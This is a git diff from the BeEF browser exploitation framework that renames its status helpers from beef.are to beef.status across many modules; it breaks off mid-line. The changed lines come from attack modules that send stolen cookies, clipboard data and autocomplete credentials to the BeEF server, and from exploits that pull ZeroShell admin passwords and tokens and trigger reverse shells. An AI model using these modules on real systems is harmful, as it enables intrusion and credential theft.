diff --git a/core/main/client/are.js b/core/main/client/are.js deleted file mode 100644 index 126482a4f..000000000 --- a/core/main/client/are.js +++ /dev/null @@ -1,41 +0,0 @@ -// -// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net -// Browser Exploitation Framework (BeEF) - https://beefproject.com -// See the file 'doc/COPYING' for copying permission -// - -/** - * A series of functions that handle statuses, returns a number based on the function called. - * @namespace beef.are - */ - -beef.are = { - /** - * A function for handling a success status - * @memberof beef.are - * @method status_success - * @return {number} 1 - */ - status_success: function(){ - return 1; - }, - /** - * A function for handling an unknown status - * @memberof beef.are - * @method status_unknown - * @return {number} 0 - */ - status_unknown: function(){ - return 0; - }, - /** - * A function for handling an error status - * @memberof beef.are - * @method status_error - * @return {number} -1 - */ - status_error: function(){ - return -1; - } -}; -beef.regCmp("beef.are"); diff --git a/core/main/client/status.js b/core/main/client/status.js new file mode 100644 index 000000000..e7433d919 --- /dev/null +++ b/core/main/client/status.js @@ -0,0 +1,42 @@ +// +// Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - https://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +/** + * Status code helpers for module command results. + * Modules use these when sending results back to the BeEF server. + * @namespace beef.status + */ + +beef.status = { + /** + * Success status code + * @memberof beef.status + * @method success + * @return {number} 1 + */ + success: function(){ + return 1; + }, + /** + * Unknown status code + * @memberof beef.status + * @method unknown + * @return {number} 0 + */ + unknown: function(){ + return 0; + }, + /** + * Error status code + * @memberof beef.status + * @method error + * @return {number} -1 + */ + error: function(){ + return -1; + } +}; +beef.regCmp("beef.status"); diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 8e4d42bc6..821fee54d 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -23,7 +23,7 @@ module BeEF # @note BeEF libraries: need Eruby evaluation and obfuscation beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js - encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js] + encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js status.js] # @note Load websocket library only if WS server is enabled in config.yaml beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true # @note Load webrtc library only if WebRTC extension is enabled diff --git a/core/main/handlers/modules/legacybeefjs.rb b/core/main/handlers/modules/legacybeefjs.rb index 240a83659..296a49d8d 100644 --- a/core/main/handlers/modules/legacybeefjs.rb +++ b/core/main/handlers/modules/legacybeefjs.rb @@ -23,7 +23,7 @@ module BeEF # @note BeEF libraries: need Eruby evaluation and obfuscation beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js - encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js] + encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js status.js] # @note Load websocket library only if WS server is enabled in config.yaml beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true # @note Load webrtc library only if WebRTC extension is enabled diff --git a/core/main/handlers/modules/multistagebeefjs.rb b/core/main/handlers/modules/multistagebeefjs.rb index e054fcf5c..a7a234330 100644 --- a/core/main/handlers/modules/multistagebeefjs.rb +++ b/core/main/handlers/modules/multistagebeefjs.rb @@ -23,7 +23,7 @@ module BeEF # @note BeEF libraries: need Eruby evaluation and obfuscation beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js - encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js] + encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js status.js] # @note Load websocket library only if WS server is enabled in config.yaml beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true # @note Load webrtc library only if WebRTC extension is enabled diff --git a/modules/browser/detect_extensions/command.js b/modules/browser/detect_extensions/command.js index 87500ea15..ca7b45ac4 100644 --- a/modules/browser/detect_extensions/command.js +++ b/modules/browser/detect_extensions/command.js @@ -1099,7 +1099,7 @@ beef.execute(function() { if (!failed) { failed = true; if (e.indexOf("detect_chrome_extension") != -1) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.status.error()); } } }; @@ -1108,7 +1108,7 @@ beef.execute(function() { detect_chrome_extension(chrome_extensions[i][0], chrome_extensions[i][1]); } } catch(e) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.status.error()); } } else if(beef.browser.isFF()) { try { @@ -1117,7 +1117,7 @@ beef.execute(function() { if (!failed) { failed = true; if (e.indexOf("detect_firefox_extension") != -1) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.status.error()); } } }; @@ -1126,11 +1126,11 @@ beef.execute(function() { detect_firefox_extension(firefox_extensions[i], i); } } catch(e) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.status.error()); } } else { beef.debug('[Detect Extensions] Unspported browser'); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=unsupported browser', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=unsupported browser', beef.status.error()); } }); diff --git a/modules/browser/detect_mime_types/command.js b/modules/browser/detect_mime_types/command.js index 789a676ab..8f0caaaee 100644 --- a/modules/browser/detect_mime_types/command.js +++ b/modules/browser/detect_mime_types/command.js @@ -8,11 +8,11 @@ beef.execute(function() { if (navigator.mimeTypes) { var mime_types = JSON.stringify(navigator.mimeTypes); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "mime_types=" + mime_types, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "mime_types=" + mime_types, beef.status.success()); beef.debug("[Detect MIME Types] " + mime_types); } else { beef.debug("[Detect MIME Types] Could not retrieve supported MIME types"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=Could not retrieve supported MIME types', beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=Could not retrieve supported MIME types', beef.status.error()); } }); diff --git a/modules/browser/fingerprint_browser/command.js b/modules/browser/fingerprint_browser/command.js index 3d2d6a88e..3fb8c1f12 100644 --- a/modules/browser/fingerprint_browser/command.js +++ b/modules/browser/fingerprint_browser/command.js @@ -22,12 +22,12 @@ beef.execute(function() { var murmur = Fingerprint2.x64hash128(values.join(''), 31) beef.debug('[Fingerprint Browser] Fingerprint: ' + murmur); beef.debug('[Fingerprint Browser] Components: ' + JSON.stringify(components)); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + murmur + '&components=' + JSON.stringify(components), beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + murmur + '&components=' + JSON.stringify(components), beef.status.success()); }) }, 500) } catch(e) { beef.debug('[Fingerprint Browser] Error: ' + e.message); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + e.message, beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + e.message, beef.status.error()); } }); diff --git a/modules/browser/hooked_origin/alert_dialog/command.js b/modules/browser/hooked_origin/alert_dialog/command.js index d75cb5756..3b169fc11 100644 --- a/modules/browser/hooked_origin/alert_dialog/command.js +++ b/modules/browser/hooked_origin/alert_dialog/command.js @@ -6,5 +6,5 @@ beef.execute(function() { alert("<%= @text %>"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>", beef.status.success()); }); diff --git a/modules/browser/hooked_origin/clear_console/command.js b/modules/browser/hooked_origin/clear_console/command.js index e5ed8e44b..04d111411 100644 --- a/modules/browser/hooked_origin/clear_console/command.js +++ b/modules/browser/hooked_origin/clear_console/command.js @@ -8,8 +8,8 @@ beef.execute(function() { try { beef.debug("Clearing console..."); console.clear(); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console", beef.status.success()); } catch(e) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console", beef.status.error()); } }); diff --git a/modules/browser/hooked_origin/deface_web_page/command.js b/modules/browser/hooked_origin/deface_web_page/command.js index c9cf6844e..31fdd9099 100644 --- a/modules/browser/hooked_origin/deface_web_page/command.js +++ b/modules/browser/hooked_origin/deface_web_page/command.js @@ -9,5 +9,5 @@ beef.execute(function() { document.title = "<%= @deface_title %>"; beef.browser.changeFavicon("<%= @deface_favicon %>"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful", beef.status.success()); }); diff --git a/modules/browser/hooked_origin/deface_web_page_component/command.js b/modules/browser/hooked_origin/deface_web_page_component/command.js index 5bd9a46bb..78624eb79 100644 --- a/modules/browser/hooked_origin/deface_web_page_component/command.js +++ b/modules/browser/hooked_origin/deface_web_page_component/command.js @@ -10,5 +10,5 @@ beef.execute(function() { $j(this).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@deface_content) %>'));); }).length; - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Defaced "+ result +" elements", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Defaced "+ result +" elements", beef.status.success()); }); diff --git a/modules/browser/hooked_origin/get_autocomplete_creds/command.js b/modules/browser/hooked_origin/get_autocomplete_creds/command.js index 8cd848064..9783f6ef7 100644 --- a/modules/browser/hooked_origin/get_autocomplete_creds/command.js +++ b/modules/browser/hooked_origin/get_autocomplete_creds/command.js @@ -23,7 +23,7 @@ beef.execute(function() { } beef.debug("[Get Autocomplete Creds] Found autocomplete data: '" + results + "'"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'results=' + results, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'results=' + results, beef.status.success()); } create_form = function(input_name) { diff --git a/modules/browser/hooked_origin/get_cookie/command.js b/modules/browser/hooked_origin/get_cookie/command.js index fc00572e1..39f8142d3 100644 --- a/modules/browser/hooked_origin/get_cookie/command.js +++ b/modules/browser/hooked_origin/get_cookie/command.js @@ -5,10 +5,10 @@ // beef.execute(function() { try { - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.status.success()); beef.debug("[Get Cookie] Cookie captured: "+document.cookie); }catch(e){ - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.status.error()); beef.debug("[Get Cookie] Error"); } }); diff --git a/modules/browser/hooked_origin/get_page_html/command.js b/modules/browser/hooked_origin/get_page_html/command.js index 092e0e575..f062ac697 100644 --- a/modules/browser/hooked_origin/get_page_html/command.js +++ b/modules/browser/hooked_origin/get_page_html/command.js @@ -8,7 +8,7 @@ beef.execute(function() { var head = beef.browser.getPageHead(); var body = beef.browser.getPageBody(); var mod_data = 'head=' + head + '&body=' + body; - beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.are.status_success()); - return [beef.are.status_success(), mod_data]; + beef.net.send("<%= @command_url %>", <%= @command_id %>, mod_data, beef.status.success()); + return [beef.status.success(), mod_data]; }); diff --git a/modules/browser/play_sound/command.js b/modules/browser/play_sound/command.js index cd386b1aa..d3fc570ed 100644 --- a/modules/browser/play_sound/command.js +++ b/modules/browser/play_sound/command.js @@ -10,9 +10,9 @@ beef.execute(function() { var sound = new Audio(url); sound.play(); beef.debug("[Play Sound] Played sound successfully: " + url); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Sound Played", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Sound Played", beef.status.success()); } catch (e) { beef.debug("[Play Sound] HTML5 audio unsupported. Could not play: " + url); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.status.error()); } }); diff --git a/modules/browser/webcam_html5/command.js b/modules/browser/webcam_html5/command.js index fcd3b42f5..1f73dd21f 100644 --- a/modules/browser/webcam_html5/command.js +++ b/modules/browser/webcam_html5/command.js @@ -11,7 +11,7 @@ beef.execute(function() { beef.debug('[Webcam HTML5] Browser supports WebGL'); } else { beef.debug('[Webcam HTML5] Error: WebGL is not supported'); - beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=WebGL is not supported', beef.are.status_error()); + beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=WebGL is not supported', beef.status.error()); return; } @@ -36,7 +36,7 @@ beef.execute(function() { ctx.drawImage(vid_el,0,0,width,height); beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png')); } else { - beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.are.status_error()); + beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.status.error()); } }; @@ -85,7 +85,7 @@ beef.execute(function() { }, false); }, function(err) { beef.debug('[Webcam HTML5] Error: getUserMedia call failed'); - beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.are.status_error()); + beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.status.error()); }); // Retrieve the chosen div option from BeEF and display diff --git a/modules/debug/test_return_ascii_chars/command.js b/modules/debug/test_return_ascii_chars/command.js index 00d5a1c6c..960a4a95f 100644 --- a/modules/debug/test_return_ascii_chars/command.js +++ b/modules/debug/test_return_ascii_chars/command.js @@ -9,8 +9,6 @@ beef.execute(function() { var str = ''; for (var i=32; i<=127;i++) str += String.fromCharCode(i); - beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success()); - //return [beef.are.status_success(), str]; - test_return_ascii_chars_mod_output = [beef.are.status_success(), str]; + beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.status.success()); }); diff --git a/modules/debug/test_return_long_string/command.js b/modules/debug/test_return_long_string/command.js index 53ab58712..3487b61d3 100644 --- a/modules/debug/test_return_long_string/command.js +++ b/modules/debug/test_return_long_string/command.js @@ -13,8 +13,6 @@ beef.execute(function() { for (var i = 0; i < iterations; i++) { str += repeat_value; } - beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.are.status_success()); - //return [beef.are.status_success(), str]; - test_return_long_string_mod_output = [beef.are.status_unknown(), str]; + beef.net.send("<%= @command_url %>", <%= @command_id %>, str, beef.status.success()); }); diff --git a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js index 1aab1e606..d13ccaff6 100644 --- a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js +++ b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js @@ -26,6 +26,6 @@ beef.execute(function() { beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Go to the pfSense XSS-GET vulnerable page to load the payload in pfSense context (bypass X-Frame-Origin)."); document.location = target; - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.status.unknown()); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js index 339886897..996b4bf62 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_dynamic_token/command.js @@ -18,18 +18,18 @@ beef.execute(function() { beef.net.forge_request("http", "GET", rhost, rport, uripwd, null, null, null, 10, 'script', true, null, function(response1){ if(response1.status_code == 200){ pwd = response1.response_body.trim(); - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.status.success()); beef.debug("[ZeroShell_2.0RC2_admin_dynamic_token] Trying to authenticate admin user to gain dynamic token with password: " + pwd); beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, { Action: "StartSessionSubmit", User: "admin", PW: pwd }, 10, 'script', false, null, function(response2){ if(response2.status_code == 200){ token = response2.response_body.substr(response2.response_body.indexOf("STk=")+4, 40); - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.status.success()); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.status.error()); } }); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.status.error()); } }); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js index 61c3b25d1..e8d9f09f5 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_password/command.js @@ -13,9 +13,9 @@ beef.execute(function() { beef.debug("[ZeroShell_2.0RC2_admin_password] Trying to retrieve admin password in plaintext: " + uri); beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){ if(response.status_code == 200){ - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin password : [" + response.response_body + "]", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin password : [" + response.response_body + "]", beef.status.success()); }else{ - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.status.error()); } }); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js index 7ff47723e..84a8546c9 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_admin_static_token/command.js @@ -13,9 +13,9 @@ beef.execute(function() { beef.debug("[ZeroShell_2.0RC2_admin_static_token] Trying to retrieve admin static token: " + uri); beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){ if(response.status_code == 200){ - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin static token : [" + response.response_body + "]", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell admin static token : [" + response.response_body + "]", beef.status.success()); }else{ - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.status.error()); } }); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js index 7deee471d..409647ccd 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_file_disclosure/command.js @@ -14,9 +14,9 @@ beef.execute(function() { beef.debug("[ZeroShell_2.0RC2_file_disclosure] Trying to retrieve local file: " + uri); beef.net.forge_request("http", "GET", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){ if(response.status_code == 200){ - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell file [" + rfile + "] content : [" + response.response_body + "]", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: ZeroShell file [" + rfile + "] content : [" + response.response_body + "]", beef.status.success()); }else{ - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: GET request failed.", beef.status.error()); } }); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js index 831744c36..c781b7980 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_migrate_hook/command.js @@ -15,5 +15,5 @@ beef.execute(function() { var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); iframe_<%= @command_id %>.setAttribute('src', target); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=BeEF hook should be sent to ZeroShell", beef.are.status_unknown()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=BeEF hook should be sent to ZeroShell", beef.status.unknown()); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js index 92bdaebd3..79571f3f0 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/command.js @@ -21,12 +21,12 @@ beef.execute(function() { beef.net.forge_request("http", "GET", rhost, rport, uripwd, null, null, null, 10, 'script', true, null, function(response1){ if(response1.status_code == 200){ pwd = response1.response_body.trim(); - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin password retrieved : " + pwd, beef.status.success()); beef.debug("[ZeroShell_2.0RC2_reverse_shell_csrf_sop] Trying to authenticate admin user to gain dynamic token with password: " + pwd); beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, { Action: "StartSessionSubmit", User: "admin", PW: pwd }, 10, 'script', false, null, function(response2){ if(response2.status_code == 200){ token = response2.response_body.substr(response2.response_body.indexOf("STk=")+4, 40); - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Admin token retrieved : " + token, beef.status.success()); beef.debug("[ZeroShell_2.0RC2_reverse_shell_csrf_sop] Trying to spawn a reverse-shell via CSRF in ZeroShell SOP context."); beef.net.forge_request("http", "POST", rhost, rport, uri, true, null, { Action: "Lookup", @@ -35,15 +35,15 @@ beef.execute(function() { STk: token, What: payload }, 10, 'script', false, null, function(response3){ - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Reverse shell should have been triggered.", beef.are.status_unknown()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=OK: Reverse shell should have been triggered.", beef.status.unknown()); } ); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: Second POST request to get admin token failed.", beef.status.error()); } }); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: First GET request to get admin password failed.", beef.status.error()); } }); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js index a4ad1647f..d987580cc 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/command.js @@ -17,5 +17,5 @@ beef.execute(function() { var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); iframe_<%= @command_id %>.setAttribute('src', target); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.status.unknown()); }); diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js b/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js index 5b88d50ca..502ee06a0 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/command.js @@ -96,9 +96,9 @@ beef.execute(function() { // Function to return results of the current bloc scanned to BeEF C&C, after "timeout" ms waited. getResult = function(){ if(result.trim() != "") - beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] ZeroShell(s) detected : [ " + result + "]", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] ZeroShell(s) detected : [ " + result + "]", beef.status.success()); else - beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] No ZeroShell detected on that IP range bloc...", beef.are.status_unknown()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Bloc [" + long2ip(ip_from_long_bloc) + " - " + long2ip(ip_to_long_bloc-1) + "] No ZeroShell detected on that IP range bloc...", beef.status.unknown()); div.innerHTML = ""; // Clean the current DOM's div result = ""; // Clear the result of the bloc tested for the next loop } @@ -108,7 +108,7 @@ beef.execute(function() { else // We have reach the last IP address to scan setTimeout(function(){ // Clear the victim's DOM and tell to BeEF C&C that the scan is complete document.body.removeChild(div); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Scan is complete on the defined range [" + ip_start + " - " + ip_end + "] (DOM cleared)", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "Result= Scan is complete on the defined range [" + ip_start + " - " + ip_end + "] (DOM cleared)", beef.status.success()); }, timeout*2); } diff --git a/modules/host/clipboard_theft/command.js b/modules/host/clipboard_theft/command.js index 6e58b3133..23ce0ab1a 100644 --- a/modules/host/clipboard_theft/command.js +++ b/modules/host/clipboard_theft/command.js @@ -8,9 +8,9 @@ beef.execute(function() { try { var clipboard = clipboardData.getData("Text"); beef.debug("[Clipboard Theft] Success: Retrieved clipboard contents (" + clipboard.length + ' bytes)'); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboard, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboard, beef.status.success()); } catch (e) { beef.debug("[Clipboard Theft] Error: Could not retrieve clipboard contents"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=clipboardData.getData is not supported.", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=clipboardData.getData is not supported.", beef.status.error()); } }); diff --git a/modules/host/detect_airdroid/command.js b/modules/host/detect_airdroid/command.js index 182b889d6..f72acf8cb 100644 --- a/modules/host/detect_airdroid/command.js +++ b/modules/host/detect_airdroid/command.js @@ -12,11 +12,11 @@ beef.execute(function() { img.src = "http://<%= @ipHost %>:<%= @port %>/theme/stock/images/ip_auth_refused.png"; img.onload = function() { if (this.width == 146 && this.height == 176) result = "Installed"; - beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.status.success()); dom.removeChild(this); } img.onerror = function() { - beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost 